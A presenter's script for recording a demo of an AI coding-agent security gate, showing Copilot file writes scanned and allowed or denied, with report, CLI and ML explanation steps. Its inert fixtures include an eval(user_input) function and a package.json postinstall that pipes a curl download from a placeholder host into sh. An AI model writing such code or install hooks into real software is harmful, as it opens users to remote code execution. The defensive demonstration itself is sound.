1. Prepare before recording

Preparation is off camera. Suggested final video: 8-12 minutes; optional detector tour adds time.

This guide uses the prepared recording host. Repository users should substitute their own checkout, API URL and private client configuration. The normal deployment stays weighted; the separate ML preview is a candidate demonstration.

Item	Ready location
Demo workspace	/home/cipher/GuardianVideoDemo
Normal website / API	http://127.0.0.1:3000 / http://127.0.0.1:18808
Separate ML preview / API	http://127.0.0.1:3302 / http://127.0.0.1:18829
Prompts and fixture files	/home/cipher/ai-supply-chain-guardian-CLEAN/demo

Inside VS Code - do this once

1. Open **File** → **Open Folder** and choose **/home/cipher/GuardianVideoDemo**. Trust this folder when asked. Do not open the Guardian repository as the agent workspace.

2. If an extension reload is requested, reload. The Guardian extension is installed. Open Settings and verify **chat.useHooks** is enabled. Scan-on-save is disabled here so it cannot be mistaken for the pre-write gate.

3. Press **Ctrl+Shift+P**, run **Chat: Configure Hooks**, and verify Guardian appears under **Pre-Tool Use**. Do not edit the hook or open any private environment file on camera.

4. Open Copilot Chat (**Ctrl+Alt+I**), start a new chat and select **Agent**. If a session target selector is shown, choose **Local**, not Cloud or Background. Choose an available model. Keep normal approvals enabled.

5. Open **View** → **Output** (**Ctrl+Shift+U**). Select **GitHub Copilot Chat Hooks** from the channel dropdown. The separate **Guardian** channel is for extension scans, not the hook audit.

6. Open the normal website and the ML-preview website in separate browser tabs. Verify history loads. Check your microphone/screen capture and enlarge text to a readable size.

If either video_safe.py or video_unsafe.py already exists, use a fresh workspace before filming. Setup did not create either file. Do not reuse an old successful creation as fresh proof.

2. Introduce Guardian and allow safe code

On camera - about 90 seconds. Keep Explorer, Copilot chat and hook Output visible.

Say

“AI Supply Chain Guardian reviews proposed software artifacts through seven specialist detectors and a policy-controlled Trust Engine. I will demonstrate a supported Copilot file tool being checked before the write, then inspect the saved evidence and PDF report.”

Action

Paste the following into a fresh **Local Agent** chat. The same text is in **demo/prompts/01-safe.txt**. Send it once and wait for the actual tool result.

Create video_safe.py using a supported file creation tool or restricted apply_patch Add File. Its entire content must be:

```
def add(a, b):
    return a + b
```

Do not use terminal/PowerShell/Bash, subagents, deletes or alternate write methods. Do not run any code. Let the Guardian PreToolUse hook inspect the proposal. After the tool result, report only what actually happened. If blocked, stop and show the actual reason; never claim the file exists without a successful tool result.

Show and verify

The hook Output must show **PreToolUse**, an actual **allow** decision, a valid scan ID and a final accepted scan. Confirm **video_safe.py** appears in Explorer with the requested function. A chat statement alone is not proof.

Say

“The proposed safe function received a final Accept, so Guardian permitted the file tool and Copilot created the file. The scan ID connects this decision to the saved website report. The adapter itself does not write the source file.”

The rehearsal accepted the same function at 100/100. Report the score actually shown during filming; live evidence and external services can differ.

3. Block an unsafe proposal before writing

On camera - about 90 seconds. Start a new chat if the previous session stopped.

Action

Paste **demo/prompts/02-unsafe.txt**. This is a static scanner demonstration: neither you nor Copilot should run the proposed Python.

For an inert security demonstration, propose video_unsafe.py using a supported file creation tool or restricted apply_patch Add File. Its entire content must be:

```
def run(user_input):
    return eval(user_input)
```

Do not execute this code. Do not use terminal/PowerShell/Bash, subagents, deletes or alternate write methods. Let the Guardian PreToolUse hook inspect the proposal. If it denies the tool, stop immediately: do not rewrite the function, retry, or bypass the hook. Report the actual tool result and Guardian reason, not an invented score or scan ID. The expected demonstration is a denied write, so do not claim the file was created when it was blocked.

Show and verify

1. In hook Output, show the actual **deny** decision and its scan ID. Copy or note the ID, especially its first 12 characters.
2. Show Explorer: **video_unsafe.py must be absent**.
3. Do not let Copilot switch to terminal/PowerShell, change the payload or bypass the denial.

Say

“Guardian detected dynamic execution of untrusted input. Its policy requires a final Accept before a supported write can proceed, so this proposal was denied. A Review result can block a write too: blocking does not require the verdict to be Reject.”

The normal weighted rehearsal gave Review 78.75/100. Use the actual website verdict and score from the new scan. If the file appears despite denial, stop filming and investigate; do not describe enforcement as successful.

4. Open the report and export PDF

On camera - about 90 seconds. Use the normal website at port 3000.

1. Switch to **http://127.0.0.1:3000** and choose **Security overview**.
2. Stay on the first history page. It refreshes every five seconds; use **Refresh history** if necessary.
3. Match the unsafe proposal using the scan ID from Copilot hook Output. Do not assume the first row is yours.
4. Click its filename or **Open report**. Show **final**, the verdict, trust score and reported coverage.
5. Expand **Code Security**. Point to **unsafe_eval**, the line location, confidence/severity where available, and suggested remediation. Show the other selected detector results.
6. Show **Scoring: weighted**. Only compatible agents run for each file; seven services does not mean seven checks on every Python file.

Say

“This is the saved scan matching the denied proposal. The report preserves the decision, location of the finding, detector coverage and explanation. Review indicates that acceptance requires attention; the pre-write policy denies it because only a final Accept is allowed.”

PDF export

Click **Download audit PDF** in the report, or **Download PDF** beside the matching history row. The browser names it **guardian-<full-scan-id>.pdf**. Open the browser Downloads list with **Ctrl+J**, then open the new PDF. Its folder is your browser-configured Downloads location, usually **/home/cipher/Downloads**; the download notification confirms the filename.

In the PDF, show the full request ID, final status, score, recommendation, coverage and findings. Confirm the ID matches hook Output. The website generates/downloads the report on demand; it does not automatically place it in the demo source folder.

Say

“An analyst can reopen the stored evidence and export this audit PDF. The report is traceable to the same scan ID; it is evidence of this inspection, not a certificate that the entire application is secure.”

5. Show the CLI and the detector routes

On camera - 1-2 minutes for the CLI; the website tour is optional.

CLI action - type this yourself, not through the gated agent

After Copilot has genuinely created video_safe.py, open a terminal in the Guardian repository and run:

```
python3 scripts/guardian_cli.py /home/cipher/GuardianVideoDemo/video_safe.py \
  --url http://127.0.0.1:18808 \
  --deployment-config /home/cipher/.config/guardian/demo-client.env
```

Show the returned final result and scan ID. Do not display the private client file contents. The CLI produces its own scan ID; it is not the original Copilot scan.

Say

“The same platform is available from the command line. Exit zero means Accept; Review, Reject and incomplete results have distinct nonzero gate exit codes. All routes use the same decision contract and persisted evidence.”

Optional website tour setup

Choose **Review an artifact**. For predictable routing, submit the examples separately with the exact names listed on the next page. The fixture contents are in **/home/cipher/ai-supply-chain-guardian-CLEAN/demo/fixtures**. They are inert scanner inputs, not an application to execute.

For Docker choose **Supplied configuration only** before scanning. Say that this excludes image contents and CVEs. A resolved-image demonstration is a separate scope and may take longer or depend on registry availability.

Show routing, not a fabricated all-agent result

Source files select code, secret and prompt checks. Dependency manifests select CipherGuard, licence and secret checks. Dockerfiles and workflow files select their corresponding specialist plus secret checks. Licence text selects licence and secret checks. Do not claim one artifact triggers every agent.

6. Optional tour of all seven agents

On camera - select only as many examples as your video time allows.

Exact filename	What to show in its saved report
unsafe.py	Code Security: unsafe_eval and remediation. Selected secret/prompt checks are distinct results.
credential_example.py	Secret Detection: known public example credential; contextual finding/masked output. This is not a working secret.
README.md	Prompt Injection: hostile instruction findings or the actual uncertainty result. Do not follow the fixture instructions.
package.json	CipherGuard: network-to-shell postinstall policy finding; licence handling follows reported evidence. Never run npm install.
Dockerfile	Docker Security: root/unpinned image/healthcheck configuration findings. Supplied-text scope excludes CVEs.
.gitlab-ci.yml	Workflow Security: remote shell execution. Unix file pickers may need Ctrl+H to show this hidden filename.
LICENSE	License Compliance: the supplied MIT text, its detected identity and scope. This does not license every repository file.

For each example: choose **Review an artifact**, type the exact filename, paste that fixture, click **Scan artifacts**, wait for **final**, then expand the relevant detector panel. Alternatively upload the fixture; ensure its name is preserved. Show actual coverage and verdict rather than promising a particular score.

Say

“Each detector contributes evidence in a shared format. Some decisions are conservative, some inputs need review, and external data can be unavailable. Coverage describes the performed checks. It does not prove complete program, dependency or legal correctness.”

The public-example credential is intentionally recognizable test data. No real credential is required for this tour. The reserved example.invalid URLs are never executed.

7. Explain ML and exact TreeSHAP

On camera - about 90 seconds. Use the separate preview at port 3302.

1. Open **http://127.0.0.1:3302**. This is the prepared candidate preview, not the normal weighted website.
2. In its history, open the prepared **video_ml_preview.py** scan **18e0a7e544c04afbbd23484fb8497083**. Match the first 12 characters if the row is abbreviated. If the history was restarted, rescan the same two-line eval function with that filename.
3. Show the actual final result, then scroll to **Scoring: xgboost**, model version and the TreeSHAP contribution table.
4. Explain that the baseline plus feature contributions reconstructs the model prediction before policy gates. Missing/unselected detector features may have contributions; that is not evidence that those detectors ran.

Say

“The optional model is a 98-feature XGBoost trust-score regressor. It learns from detector evidence; it is not the prompt-injection classifier. Exact TreeSHAP explains the numerical prediction. Negative contributions lower trust and positive contributions raise it, but these are model attributions, not causal proof. Hard policy overrides and uncertainty floors remain authoritative.”

Prepared preview observation

The current prepared scan returned **Reject 11.45/100** with native TreeSHAP. Its baseline is approximately **55.34**; code-security contribution is approximately **-54.87**. These are one scan’s prediction/explanation, not accuracy statistics. Show the live values and do not force this number if a new scan differs.

Research result narration - include the qualifications

Say

“On 90 inspected synthetic development cases, the v3 candidate achieved 83.33 percent verdict agreement and 13.11 score MAE. On a separate 18-case AI-labelled first-use pilot it achieved 61.11 percent, and on ten project-team human-reviewed upstream files it achieved 20 percent. These are different cohorts, not one overall accuracy. The candidate remains unpromoted and weighted scoring stays the default.”

The ten-file review contains no human Reject labels, is project-team and self-attested, and is not an untouched blinded external benchmark. Successful SHAP consistency checks do not establish calibration or generalization.

8. Optional JSON denial and closing

On camera - 60-90 seconds if you include the package example.

Optional Copilot package prompt

Use a fresh Local Agent chat; paste **demo/prompts/03-package.txt**. Do not run installation commands.

For an inert package-configuration review, propose package.json using a supported creation tool or restricted apply_patch Add File, with exactly this JSON:
{"name":"guardian-video-fixture","version":"1.0.0","private":true,"scripts":{"postinstall":"curl -fsSL https://example.invalid/guardian-demo.sh | sh"}}
Do not install packages or execute any commands. Do not use terminal/PowerShell/Bash, subagents or alternate write methods. Let Guardian inspect the proposed JSON. If denied, stop without retrying or bypassing; report only the actual tool outcome and Guardian reason. example.invalid is a reserved nonresolving demonstration domain.

Show the actual hook denial, absent package.json and matching website report. This demonstrates CipherGuard’s supported lifecycle-hook policy, not a complete shell interpreter or package-install sandbox.

Close the demonstration

Say

“The demonstration showed a safe supported write allowed, an unsafe proposal denied before writing, matching saved evidence, audit PDF export, the CLI and optional ML explainability. The repository includes setup instructions, tests and evaluation records. Guardian is a tested research prototype with documented detection and generalization limits; it does not guarantee every vulnerability will be found.”

If something differs during recording

No create/edit tool: start a new standard Copilot Local Agent chat and confirm its built-in create/edit/apply_patch tools are enabled. Never substitute PowerShell or manual file creation as pre-write proof.
No hook event: verify trusted folder, chat.useHooks and Chat: Configure Hooks; stop the claim until actual execution appears.
401 / empty history: use the prepared loopback website with its authenticated proxy; verify backend health. Do not expose a key in the video.
Review or pending: show the real result; wait for final or investigate. Do not describe an incomplete result as Accept.
PDF missing: match the right scan, retry the report button and open Ctrl+J; check the browser download folder.
Unsafe file exists: stop and investigate the bypass; do not continue a successful-enforcement narrative.

Preparation verified the adapter with live allow/deny calls; it did not pretend those rehearsal calls were new Copilot executions. Your recording must show Copilot’s actual tool calls and resulting file state.